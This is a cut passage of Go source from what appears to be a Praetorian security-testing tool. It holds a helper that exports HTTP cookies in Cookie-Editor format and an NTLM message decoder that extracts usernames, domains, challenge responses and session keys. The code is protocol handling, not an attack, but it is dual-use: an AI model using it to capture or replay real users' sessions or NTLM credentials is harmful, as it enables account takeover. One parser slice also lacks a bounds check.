// See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cookies 16 | 17 | import "net/http" 18 | 19 | func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieEditorExportFormat { 20 | var cookieEditorExportFormat []CookieEditorExportFormat 21 | 22 | for _, cookie := range cookies { 23 | cookieEditorExportFormat = append(cookieEditorExportFormat, CookieEditorExportFormat{ 24 | Name: cookie.Name, 25 | Value: cookie.Value, 26 | Domain: cookie.Domain, 27 | HostOnly: false, 28 | Path: cookie.Path, 29 | Secure: cookie.Secure, 30 | HTTPOnly: cookie.HttpOnly, 31 | SameSite: "no_restriction", 32 | Session: true, 33 | FirstPartyDomain: "", 34 | PartitionKey: nil, 35 | StoreID: nil, 36 | }) 37 | } 38 | 39 | return cookieEditorExportFormat 40 | } 41 | -------------------------------------------------------------------------------- /pkg/ntlm/datatypes.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package ntlm 16 | 17 | const ( 18 | 19 | // NTLM message size minimum sizes 20 | NTLM_MINIMUM_HEADER_SIZE = 12 21 | NTLM_MINIMUM_NEGOTIATE_SIZE = 32 22 | NTLM_MINIMUM_CHALLENGE_SIZE = 48 23 | NTLM_MINIMUM_AUTHENTICATE_SIZE = 64 24 | 25 | // NTLM Message Types 26 | MESSAGE_TYPE_NEGOTIATE = 0x1 27 | MESSAGE_TYPE_CHALLENGE = 0x2 28 | MESSAGE_TYPE_AUTHENTICATE = 0x3 29 | 30 | // NTLM Valid AvId Values 31 | MsvAvEOL = 0x0000 32 | MsvAvNbComputerName = 0x0001 33 | MsvAvNbDomainName = 0x0002 34 | MsvAvDnsComputerName = 0x0003 35 | MsvAvDnsDomainName = 0x0004 36 | MsvAvDnsTreeName = 0x0005 37 | MsvAvFlags = 0x0006 38 | MsvAvTimestamp = 0x0007 39 | MsvAvSingleHost = 0x0008 40 | MsvAvTargetName = 0x0009 41 | MsvChannelBindings = 0x000A 42 | 43 | // MsvAvFlags Values 44 | AccountAuthenticationConstrained = 0x00000001 45 | MessageIntegrityCodeIncluded = 0x00000002 46 | ServicePrincipalNameIncluded = 0x00000004 47 | ) 48 | 49 | var ( 50 | NTLM_SIGNATURE = [8]byte{0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00} 51 | ) 52 | 53 | type NEGOTIATE_MESSAGE struct { 54 | Signature []byte 55 | MessageType uint32 56 | NegotiateFlags uint32 57 | DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS 58 | DomainNameFields struct { 59 | DomainNameLen uint16 60 | DomainNameMaxLen uint16 61 | DomainNameBufferOffset uint32 62 | DomainName []byte 63 | } 64 | WorkstationFields struct { 65 | WorkstationLen uint16 66 | WorkstationMaxLen uint16 67 | WorkstationBufferOffset uint32 68 | WorkstationName []byte 69 | } 70 | Version NTLM_VERSION_INFO_DEBUG 71 | } 72 | 73 | type CHALLENGE_MESSAGE struct { 74 | Signature []byte 75 | MessageType uint32 76 | TargetNameFields struct { 77 | TargetNameLen uint16 78 | TargetNameMaxLen uint16 79 | TargetNameBufferOffset uint32 80 | TargetName []byte 81 | } 82 | NegotiateFlags uint32 83 | DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS 84 | ServerChallenge []byte 85 | Reserved []byte 86 | TargetInfoFields struct { 87 | TargetInfoLen uint16 88 | TargetInfoMaxLen uint16 89 | TargetInfoBufferOffset uint32 90 | TargetInfo []byte 91 | } 92 | DecodedTargetInfo DECODED_TARGET_INFO 93 | Version NTLM_VERSION_INFO_DEBUG 94 | } 95 | 96 | type AUTHENTICATE_MESSAGE struct { 97 | Signature []byte 98 | MessageType uint32 99 | LmChallengeResponseFields struct { 100 | LmChallengeResponseLen uint16 101 | LmChallengeResponseMaxLen uint16 102 | LmChallengeResponseBufferOffset uint32 103 | LmChallengeResponse []byte 104 | } 105 | NtChallengeResponseFields struct { 106 | NtChallengeResponseLen uint16 107 | NtChallengeResponseMaxLen uint16 108 | NtChallengeResponseBufferOffset uint32 109 | NtChallengeResponse []byte 110 | NTLMv2Response NTLMv2_RESPONSE 111 | } 112 | DomainNameFields struct { 113 | DomainNameLen uint16 114 | DomainNameMaxLen uint16 115 | DomainNameBufferOffset uint32 116 | DomainName []byte 117 | } 118 | UserNameFields struct { 119 | UserNameLen uint16 120 | UserNameMaxLen uint16 121 | UserNameBufferOffset uint32 122 | UserName []byte 123 | } 124 | WorkstationFields struct { 125 | WorkstationLen uint16 126 | WorkstationMaxLen uint16 127 | WorkstationBufferOffset uint32 128 | Workstation []byte 129 | } 130 | EncryptedRandomSessionKeyFields struct { 131 | EncryptedRandomSessionKeyLen uint16 132 | EncryptedRandomSessionKeyMaxLen uint16 133 | EncryptedRandomSessionKeyBufferOffset uint32 134 | EncryptedRandomSessionKey []byte 135 | } 136 | NegotiateFlags uint32 137 | DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS 138 | Version NTLM_VERSION_INFO_DEBUG 139 | MIC []byte 140 | } 141 | 142 | type NTLM_VERSION_INFO_DEBUG struct { 143 | ProductMajorVersion uint8 144 | ProductMinorVersion uint8 145 | ProductBuild uint16 146 | Reserved []byte 147 | NTLMRevisionCurrent byte 148 | } 149 | 150 | type DECODED_NEGOTIATE_FLAGS struct { 151 | NTLM_NEGOTIATE_56 bool 152 | NTLM_NEGOTIATE_KEY_EXCH bool 153 | NTLM_NEGOTIATE_128 bool 154 | R1 bool 155 | R2 bool 156 | R3 bool 157 | NTLM_NEGOTIATE_VERSION bool 158 | R4 bool 159 | NTLM_NEGOTIATE_TARGET_INFO bool 160 | NTLM_REQUEST_NON_NT_SESSION_KEY bool 161 | R5 bool 162 | NTLMSSP_NEGOTIATE_IDENTIFY bool 163 | NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY bool 164 | R6 bool 165 | NTLMSSP_TARGET_TYPE_SERVER bool 166 | NTLMSSP_TARGET_TYPE_DOMAIN bool 167 | NTLMSSP_NEGOTIATE_ALWAYS_SIGN bool 168 | R7 bool 169 | NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED bool 170 | NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED bool 171 | ANONYMOUS_CONNECTION bool 172 | R8 bool 173 | NTLMSSP_NEGOTIATE_NTLM bool 174 | R9 bool 175 | NTLMSSP_NEGOTIATE_LM_KEY bool 176 | NTLMSSP_NEGOTIATE_DATAGRAM bool 177 | NTLMSSP_NEGOTIATE_SEAL bool 178 | NTLMSSP_NEGOTIATE_SIGN bool 179 | R10 bool 180 | NTLMSSP_REQUEST_TARGET bool 181 | NTLM_NEGOTIATE_OEM bool 182 | NTLMSSP_NEGOTIATE_UNICODE bool 183 | } 184 | 185 | type DECODED_TARGET_INFO struct { 186 | AvPairs []AV_PAIR 187 | } 188 | 189 | type AV_PAIR struct { 190 | AvId uint16 191 | AvLen uint16 192 | AvData []byte 193 | } 194 | 195 | type NTLMv2_RESPONSE struct { 196 | Response []byte 197 | ClientChallenge NTLMv2_CLIENT_CHALLENGE 198 | } 199 | 200 | type NTLMv2_CLIENT_CHALLENGE struct { 201 | RespType byte 202 | HiRespType byte 203 | Reserved1 []byte 204 | Reserved2 []byte 205 | TimeStamp []byte 206 | ChallengeFromClient []byte 207 | Reserved3 []byte 208 | AvPairs []AV_PAIR 209 | } 210 | -------------------------------------------------------------------------------- /pkg/ntlm/debug.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package ntlm 16 | 17 | import "fmt" 18 | 19 | func (*NEGOTIATE_MESSAGE) Print() { 20 | fmt.Println("Printing Contents of NEGOTIATE_MESSAGE") 21 | } 22 | 23 | func (*CHALLENGE_MESSAGE) Print() { 24 | fmt.Println("Printing Contents of CHALLENGE_MESSAGE") 25 | } 26 | 27 | func (*AUTHENTICATE_MESSAGE) Print() { 28 | fmt.Println("Printing contents of AUTHENTICATE_MESSAGE") 29 | } 30 | -------------------------------------------------------------------------------- /pkg/ntlm/decoder.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package ntlm 16 | 17 | func decodeInt16LittleEndian(rawBytes []byte) uint16 { 18 | return uint16(rawBytes[0]) | uint16(rawBytes[1])<<8 19 | } 20 | 21 | func decodeInt32LittleEndian(rawBytes []byte) uint32 { 22 | return uint32(rawBytes[0]) | uint32(rawBytes[1])<<8 | uint32(rawBytes[2])<<16 | uint32(rawBytes[3])<<24 23 | } 24 | -------------------------------------------------------------------------------- /pkg/ntlm/ntlm.go: -------------------------------------------------------------------------------- 1 | // Copyright 2022 Praetorian Security, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package ntlm 16 | 17 | import ( 18 | "bytes" 19 | "fmt" 20 | ) 21 | 22 | func DecodeMessage(rawBytes []byte) (interface{}, error) { 23 | if len(rawBytes) < 12 { 24 | return nil, fmt.Errorf("NTLM message too short header must be at least 12 bytes") 25 | } 26 | 27 | signature := rawBytes[:8] 28 | if !bytes.Equal(signature, NTLM_SIGNATURE[:]) { 29 | return nil, fmt.Errorf("NTLM signature mismatch") 30 | } 31 | 32 | messageType := rawBytes[8:12][0] 33 | switch messageType { 34 | case MESSAGE_TYPE_NEGOTIATE: 35 | return DecodeNegotiateMessage(rawBytes) 36 | case MESSAGE_TYPE_CHALLENGE: 37 | return DecodeChallengeMessage(rawBytes) 38 | case MESSAGE_TYPE_AUTHENTICATE: 39 | return DecodeAuthenticateMessage(rawBytes) 40 | default: 41 | return nil, fmt.Errorf("NTLM invalid message type specified") 42 | } 43 | } 44 | 45 | func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) { 46 | var NegotiateMessage NEGOTIATE_MESSAGE 47 | 48 | if len(rawBytes) < NTLM_MINIMUM_NEGOTIATE_SIZE { 49 | return nil, fmt.Errorf("NTLM message too short") 50 | } 51 | 52 | NegotiateMessage.Signature = rawBytes[:8] 53 | NegotiateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) 54 | NegotiateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[12:16]) 55 | NegotiateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(NegotiateMessage.NegotiateFlags) 56 | NegotiateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[16:18]) 57 | NegotiateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[18:20]) 58 | NegotiateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[20:24]) 59 | NegotiateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[24:26]) 60 | NegotiateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[26:28]) 61 | NegotiateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[28:32]) 62 | 63 | if NegotiateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { 64 | if len(rawBytes) < 40 { 65 | return nil, fmt.Errorf("NTLM message too short") 66 | } 67 | 68 | NegotiateMessage.Version.ProductMajorVersion = rawBytes[32] 69 | NegotiateMessage.Version.ProductMinorVersion = rawBytes[33] 70 | NegotiateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[34:36]) 71 | NegotiateMessage.Version.Reserved = rawBytes[36:39] 72 | NegotiateMessage.Version.NTLMRevisionCurrent = rawBytes[39] 73 | } 74 | 75 | DomainNameFields := NegotiateMessage.DomainNameFields 76 | beginOffset := DomainNameFields.DomainNameBufferOffset 77 | endOffset := beginOffset + uint32(DomainNameFields.DomainNameLen) 78 | if endOffset > uint32(len(rawBytes)) { 79 | return nil, fmt.Errorf("DomainName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 80 | } 81 | NegotiateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset] 82 | 83 | WorkstationFields := NegotiateMessage.WorkstationFields 84 | beginOffset = WorkstationFields.WorkstationBufferOffset 85 | endOffset = beginOffset + uint32(WorkstationFields.WorkstationLen) 86 | if endOffset > uint32(len(rawBytes)) { 87 | return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 88 | } 89 | NegotiateMessage.WorkstationFields.WorkstationName = rawBytes[beginOffset:endOffset] 90 | 91 | return &NegotiateMessage, nil 92 | } 93 | 94 | func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) { 95 | var ChallengeMessage CHALLENGE_MESSAGE 96 | var err error 97 | 98 | if len(rawBytes) < NTLM_MINIMUM_CHALLENGE_SIZE { 99 | return nil, fmt.Errorf("buffer is too short for a challenge message") 100 | } 101 | 102 | ChallengeMessage.Signature = rawBytes[:8] 103 | ChallengeMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) 104 | ChallengeMessage.TargetNameFields.TargetNameLen = decodeInt16LittleEndian(rawBytes[12:14]) 105 | ChallengeMessage.TargetNameFields.TargetNameMaxLen = decodeInt16LittleEndian(rawBytes[14:16]) 106 | ChallengeMessage.TargetNameFields.TargetNameBufferOffset = decodeInt32LittleEndian(rawBytes[16:20]) 107 | TargetNameFields := ChallengeMessage.TargetNameFields 108 | beginOffset := TargetNameFields.TargetNameBufferOffset 109 | endOffset := beginOffset + uint32(TargetNameFields.TargetNameLen) 110 | if endOffset > uint32(len(rawBytes)) { 111 | return nil, fmt.Errorf("TargetName, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 112 | } 113 | ChallengeMessage.TargetNameFields.TargetName = rawBytes[beginOffset:endOffset] 114 | ChallengeMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[20:24]) 115 | ChallengeMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(ChallengeMessage.NegotiateFlags) 116 | 117 | ChallengeMessage.ServerChallenge = rawBytes[24:32] 118 | ChallengeMessage.Reserved = rawBytes[32:40] 119 | ChallengeMessage.TargetInfoFields.TargetInfoLen = decodeInt16LittleEndian(rawBytes[40:42]) 120 | ChallengeMessage.TargetInfoFields.TargetInfoMaxLen = decodeInt16LittleEndian(rawBytes[42:44]) 121 | ChallengeMessage.TargetInfoFields.TargetInfoBufferOffset = decodeInt32LittleEndian(rawBytes[44:48]) 122 | TargetInfoFields := ChallengeMessage.TargetInfoFields 123 | beginOffset = TargetInfoFields.TargetInfoBufferOffset 124 | endOffset = beginOffset + uint32(TargetInfoFields.TargetInfoLen) 125 | if endOffset > uint32(len(rawBytes)) { 126 | return nil, fmt.Errorf("TargetInfo, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 127 | } 128 | ChallengeMessage.TargetInfoFields.TargetInfo = rawBytes[beginOffset:endOffset] 129 | ChallengeMessage.DecodedTargetInfo.AvPairs, err = DecodeAvPairs(ChallengeMessage.TargetInfoFields.TargetInfo) 130 | if err != nil { 131 | return nil, fmt.Errorf("TargetInfo, unable to decode TargetInfo fields, err: %v", err) 132 | } 133 | 134 | if ChallengeMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { 135 | if len(rawBytes) < 54 { 136 | return nil, fmt.Errorf("NTLM message too short") 137 | } 138 | 139 | ChallengeMessage.Version.ProductMajorVersion = rawBytes[32] 140 | ChallengeMessage.Version.ProductMinorVersion = rawBytes[33] 141 | ChallengeMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[48:50]) 142 | ChallengeMessage.Version.Reserved = rawBytes[50:53] 143 | ChallengeMessage.Version.NTLMRevisionCurrent = rawBytes[53] 144 | } 145 | 146 | return &ChallengeMessage, nil 147 | } 148 | 149 | func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, error) { 150 | var AuthenticateMessage AUTHENTICATE_MESSAGE 151 | var err error 152 | 153 | if len(rawBytes) < NTLM_MINIMUM_AUTHENTICATE_SIZE { 154 | return nil, fmt.Errorf("buffer is too short for a challenge message") 155 | } 156 | 157 | AuthenticateMessage.Signature = rawBytes[:8] 158 | AuthenticateMessage.MessageType = decodeInt32LittleEndian(rawBytes[8:12]) 159 | AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseLen = decodeInt16LittleEndian(rawBytes[12:14]) 160 | AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[14:16]) 161 | AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[16:20]) 162 | AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseLen = decodeInt16LittleEndian(rawBytes[20:22]) 163 | AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseMaxLen = decodeInt16LittleEndian(rawBytes[22:24]) 164 | AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponseBufferOffset = decodeInt32LittleEndian(rawBytes[24:28]) 165 | AuthenticateMessage.DomainNameFields.DomainNameLen = decodeInt16LittleEndian(rawBytes[28:30]) 166 | AuthenticateMessage.DomainNameFields.DomainNameMaxLen = decodeInt16LittleEndian(rawBytes[30:32]) 167 | AuthenticateMessage.DomainNameFields.DomainNameBufferOffset = decodeInt32LittleEndian(rawBytes[32:36]) 168 | AuthenticateMessage.UserNameFields.UserNameLen = decodeInt16LittleEndian(rawBytes[36:38]) 169 | AuthenticateMessage.UserNameFields.UserNameMaxLen = decodeInt16LittleEndian(rawBytes[38:40]) 170 | AuthenticateMessage.UserNameFields.UserNameBufferOffset = decodeInt32LittleEndian(rawBytes[40:44]) 171 | AuthenticateMessage.WorkstationFields.WorkstationLen = decodeInt16LittleEndian(rawBytes[44:46]) 172 | AuthenticateMessage.WorkstationFields.WorkstationMaxLen = decodeInt16LittleEndian(rawBytes[46:48]) 173 | AuthenticateMessage.WorkstationFields.WorkstationBufferOffset = decodeInt32LittleEndian(rawBytes[48:52]) 174 | AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyLen = decodeInt16LittleEndian(rawBytes[52:54]) 175 | AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen = decodeInt16LittleEndian(rawBytes[54:56]) 176 | AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset = decodeInt32LittleEndian(rawBytes[56:60]) 177 | AuthenticateMessage.NegotiateFlags = decodeInt32LittleEndian(rawBytes[60:64]) 178 | AuthenticateMessage.DecodedNegotiateFlags = DecodeNegotiateFlags(AuthenticateMessage.NegotiateFlags) 179 | 180 | if AuthenticateMessage.DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION { 181 | if len(rawBytes) < 72 { 182 | return nil, fmt.Errorf("NTLM message too short") 183 | } 184 | 185 | AuthenticateMessage.Version.ProductMajorVersion = rawBytes[64] 186 | AuthenticateMessage.Version.ProductMinorVersion = rawBytes[65] 187 | AuthenticateMessage.Version.ProductBuild = decodeInt16LittleEndian(rawBytes[66:68]) 188 | AuthenticateMessage.Version.Reserved = rawBytes[68:71] 189 | AuthenticateMessage.Version.NTLMRevisionCurrent = rawBytes[71] 190 | } 191 | 192 | LmChallengeResponseFields := AuthenticateMessage.LmChallengeResponseFields 193 | beginOffset := LmChallengeResponseFields.LmChallengeResponseBufferOffset 194 | endOffset := beginOffset + uint32(LmChallengeResponseFields.LmChallengeResponseMaxLen) 195 | AuthenticateMessage.LmChallengeResponseFields.LmChallengeResponse = rawBytes[beginOffset:endOffset] 196 | 197 | NtChallengeResponseFields := AuthenticateMessage.NtChallengeResponseFields 198 | beginOffset = NtChallengeResponseFields.NtChallengeResponseBufferOffset 199 | endOffset = beginOffset + uint32(NtChallengeResponseFields.NtChallengeResponseMaxLen) 200 | if endOffset > uint32(len(rawBytes)) { 201 | return nil, fmt.Errorf("NtChallengeResponseFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 202 | } 203 | AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse = rawBytes[beginOffset:endOffset] 204 | 205 | DomainNameFields := AuthenticateMessage.DomainNameFields 206 | beginOffset = DomainNameFields.DomainNameBufferOffset 207 | endOffset = beginOffset + uint32(DomainNameFields.DomainNameMaxLen) 208 | if endOffset > uint32(len(rawBytes)) { 209 | return nil, fmt.Errorf("DomainNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 210 | } 211 | AuthenticateMessage.DomainNameFields.DomainName = rawBytes[beginOffset:endOffset] 212 | 213 | UserNameFields := AuthenticateMessage.UserNameFields 214 | beginOffset = UserNameFields.UserNameBufferOffset 215 | endOffset = beginOffset + uint32(UserNameFields.UserNameMaxLen) 216 | if endOffset > uint32(len(rawBytes)) { 217 | return nil, fmt.Errorf("UserNameFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 218 | } 219 | AuthenticateMessage.UserNameFields.UserName = rawBytes[beginOffset:endOffset] 220 | 221 | WorkstationFields := AuthenticateMessage.WorkstationFields 222 | beginOffset = WorkstationFields.WorkstationBufferOffset 223 | endOffset = beginOffset + uint32(WorkstationFields.WorkstationMaxLen) 224 | if endOffset > uint32(len(rawBytes)) { 225 | return nil, fmt.Errorf("WorkstationFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 226 | } 227 | AuthenticateMessage.WorkstationFields.Workstation = rawBytes[beginOffset:endOffset] 228 | 229 | EncryptedRandomSessionKeyFields := AuthenticateMessage.EncryptedRandomSessionKeyFields 230 | beginOffset = EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyBufferOffset 231 | endOffset = beginOffset + uint32(EncryptedRandomSessionKeyFields.EncryptedRandomSessionKeyMaxLen) 232 | if endOffset > uint32(len(rawBytes)) { 233 | return nil, fmt.Errorf("EncryptedRandomSessionKeyFields, NTLM message too short, endOffset %d > len(rawBytes) %d", endOffset, len(rawBytes)) 234 | } 235 | AuthenticateMessage.EncryptedRandomSessionKeyFields.EncryptedRandomSessionKey = rawBytes[beginOffset:endOffset] 236 | 237 | if len(AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse) == 24 { // NTLMv1 Detexted 238 | 239 | } else { // NTLMv2 Detected 240 | 241 | AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.Response = AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[:16] 242 | 243 | ClientChallengeBytes := AuthenticateMessage.NtChallengeResponseFields.NtChallengeResponse[16:] 244 | AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge, err = DecodeNTLMv2ClientChallenge(ClientChallengeBytes) 245 | if err != nil { 246 | return nil, fmt.Errorf("NtChallengeResponseFields, unable to decode NTLMv2 ClientChallenge: %v", err) 247 | } 248 | } 249 | 250 | AuthenticateMessage.MIC = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} 251 | for _, avPair := range AuthenticateMessage.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs { 252 | if avPair.AvId == MsvAvFlags { 253 | AvFlags := decodeInt32LittleEndian(avPair.AvData[:4]) 254 | if AvFlags&MessageIntegrityCodeIncluded == MessageIntegrityCodeIncluded { 255 | if len(rawBytes) < 89 { 256 | return nil, fmt.Errorf("NTLM message too short") 257 | } 258 | 259 | AuthenticateMessage.MIC = rawBytes[72:88] 260 | } 261 | } 262 | } 263 | 264 | return &AuthenticateMessage, nil 265 | } 266 | 267 | func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS { 268 | var DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS 269 | 270 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_UNICODE = (NegotiateFlags & (1 << 0)) != 0 271 | DecodedNegotiateFlags.NTLM_NEGOTIATE_OEM = (NegotiateFlags & (1 << 1)) != 0 272 | DecodedNegotiateFlags.NTLMSSP_REQUEST_TARGET = (NegotiateFlags & (1 << 2)) != 0 273 | DecodedNegotiateFlags.R10 = (NegotiateFlags & (1 << 3)) != 0 274 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SIGN = (NegotiateFlags & (1 << 4)) != 0 275 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_SEAL = (NegotiateFlags & (1 << 5)) != 0 276 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_DATAGRAM = (NegotiateFlags & (1 << 6)) != 0 277 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY = (NegotiateFlags & (1 << 7)) != 0 278 | DecodedNegotiateFlags.R9 = (NegotiateFlags & (1 << 8)) != 0 279 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_NTLM = (NegotiateFlags & (1 << 9)) != 0 280 | DecodedNegotiateFlags.R8 = (NegotiateFlags & (1 << 10)) != 0 281 | DecodedNegotiateFlags.ANONYMOUS_CONNECTION = (NegotiateFlags & (1 << 11)) != 0 282 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED = (NegotiateFlags & (1 << 12)) != 0 283 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED = (NegotiateFlags & (1 << 13)) != 0 284 | DecodedNegotiateFlags.R7 = (NegotiateFlags & (1 << 14)) != 0 285 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_ALWAYS_SIGN = (NegotiateFlags & (1 << 15)) != 0 286 | DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_DOMAIN = (NegotiateFlags & (1 << 16)) != 0 287 | DecodedNegotiateFlags.NTLMSSP_TARGET_TYPE_SERVER = (NegotiateFlags & (1 << 17)) != 0 288 | DecodedNegotiateFlags.R6 = (NegotiateFlags & (1 << 18)) != 0 289 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY = (NegotiateFlags & (1 << 19)) != 0 290 | DecodedNegotiateFlags.NTLMSSP_NEGOTIATE_IDENTIFY = (NegotiateFlags & (1 << 20)) != 0 291 | DecodedNegotiateFlags.R5 = (NegotiateFlags & (1 << 21)) != 0 292 | DecodedNegotiateFlags.NTLM_REQUEST_NON_NT_SESSION_KEY = (NegotiateFlags & (1 << 22)) != 0 293 | DecodedNegotiateFlags.NTLM_NEGOTIATE_TARGET_INFO = (NegotiateFlags & (1 << 23)) != 0 294 | DecodedNegotiateFlags.R4 = (NegotiateFlags & (1 << 24)) != 0 295 | DecodedNegotiateFlags.NTLM_NEGOTIATE_VERSION = (NegotiateFlags & (1 << 25)) != 0 296 | DecodedNegotiateFlags.R3 = (NegotiateFlags & (1 << 26)) != 0 297 | DecodedNegotiateFlags.R2 = (NegotiateFlags & (1 << 27)) != 0 298 | DecodedNegotiateFlags.R1 = (NegotiateFlags & (1 << 28)) != 0 299 | DecodedNegotiateFlags.NTLM_NEGOTIATE_128 = (NegotiateFlags & (1 << 29)) != 0 300 | DecodedNegotiateFlags.NTLM_NEGOTIATE_KEY_EXCH = (NegotiateFlags & (1 << 30)) != 0 301 | DecodedNegotiateFlags.NTLM_NEGOTIATE_56 = (NegotiateFlags & (1 << 31)) != 0 302 | 303 | return DecodedNegotiateFlags 304 | } 305 | 306 | func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) { 307 | var AvPairList []AV_PAIR 308 | 309 | for i := 0; i < len(rawBytes); { 310 | var AvPair AV_PAIR 311 | 312 | if len(rawBytes) < i+4 { 313 | return nil, fmt.Errorf("NTLM message too short") 314 | } 315 | AvPair.AvId = decodeInt16LittleEndian(rawBytes[i : i+2]) 316 | i += 2 317 | AvPair.AvLen = decodeInt16LittleEndian(rawBytes[i : i+2]) 318 | i += 2 319 | 320 | if len(rawBytes) 